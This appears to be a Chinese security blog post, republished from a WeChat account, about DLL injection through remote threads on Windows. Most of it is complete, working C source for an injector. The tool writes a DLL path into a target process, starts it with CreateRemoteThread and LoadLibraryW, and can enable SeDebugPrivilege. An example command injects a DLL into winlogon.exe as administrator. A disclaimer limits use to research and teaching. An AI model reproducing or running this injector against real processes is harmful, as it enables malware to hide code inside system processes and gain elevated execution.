通过远程线程注入DLL功能实现

admin 2024年8月7日20:08:42评论11 views字数 2573阅读8分34秒阅读模式

功能实现

#include <tchar.h>#include <Windows.h>BOOL CurrentProcessAdjustToken(int);void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError);// usage: RemoteInjection [: pid] [: DllPath] [: optional[: mode(default 0 run as common user, or 1 run as administrator even system)]]int wmain(int argc, wchar_t *argv[]){    if (argc < 3) {        _putts(TEXT("usage: RemoteInjection [: pid] [: DllPath] [: optional[: mode(default 0 run as common user, or 1 run as administrator even system)]]nexample: RemoteInjection.exe 512 C:\test.dlln         RemoteInjection.exe 512 C:\test.dll 1"));        return 0;    } {        int mode = 0;        if (argc == 4 && _wtoi(argv[3]) != 0) {            mode = 1;        }        if (!CurrentProcessAdjustToken(mode)) {            _putts(TEXT("Privilege Adjust Failed"));        }        DWORD pid = 0;        pid = _wtoi(argv[1]);        if (pid <= 0) {            _putts(TEXT("Invalid pid"));            return 0;        }        HANDLE process = NULL;        process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);        if (NULL == process)        {            DisplayErrorMessage((LPTSTR)"OpenProcess error: ", GetLastError());            return 0;        }        const wchar_t* dllPath = argv[2];        LPVOID mem = NULL;        mem = VirtualAllocEx(process, NULL, wcslen(dllPath) * sizeof(wchar_t), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);        if (!mem) {            _putts(TEXT("VirtualAllocEx error"));            return 0;        }        if (!WriteProcessMemory(process, mem, dllPath, wcslen(dllPath) * sizeof(wchar_t), NULL)) {            DisplayErrorMessage((LPTSTR)"WriteProcessMemory error: ", GetLastError());            return 0;        }        HANDLE thread = NULL;        thread = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryW, mem, 0, NULL);        if (!thread) {            _putts(TEXT("CreateRemoteThread error"));            return 0;        }        WaitForSingleObject(thread, INFINITE);        VirtualFreeEx(process, mem, 0, MEM_RELEASE);        CloseHandle(thread);        CloseHandle(process);        return 1;    }}BOOL CurrentProcessAdjustToken(int mode) {    if (mode == 0) {        return FALSE;    }    HANDLE hToken;    TOKEN_PRIVILEGES sTP;    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {        if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sTP.Privileges[0].Luid)) {            CloseHandle(hToken);            return FALSE;        }        sTP.PrivilegeCount = 1;        sTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;        if (!AdjustTokenPrivileges(hToken, 0, &sTP, sizeof(sTP), NULL, NULL)) {            CloseHandle(hToken);            return FALSE;        }        CloseHandle(hToken);        return TRUE;    }    return FALSE;}void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError){    HLOCAL hlErrorMessage = NULL;    if (FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, dwLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PTSTR)&hlErrorMessage, 0, NULL))    {        _tprintf(TEXT("%s: %s"), pszMessage, (PCTSTR)LocalLock(hlErrorMessage));        LocalFree(hlErrorMessage);    }}

功能展示

使用方式:

通过远程线程注入DLL功能实现

    使用optional选项指定mode数值为1,以管理员权限执行注入程序,尝试将dll注入到winlogon.exe程序中:

RemoteInjection.exe 380 C:UsersAdministratorDesktopDll1.dll 1

通过远程线程注入DLL功能实现

原文始发于微信公众号(蟹堡安全团队):通过远程线程注入DLL功能实现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月7日20:08:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过远程线程注入DLL功能实现http://cn-sec.com/archives/3041061.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息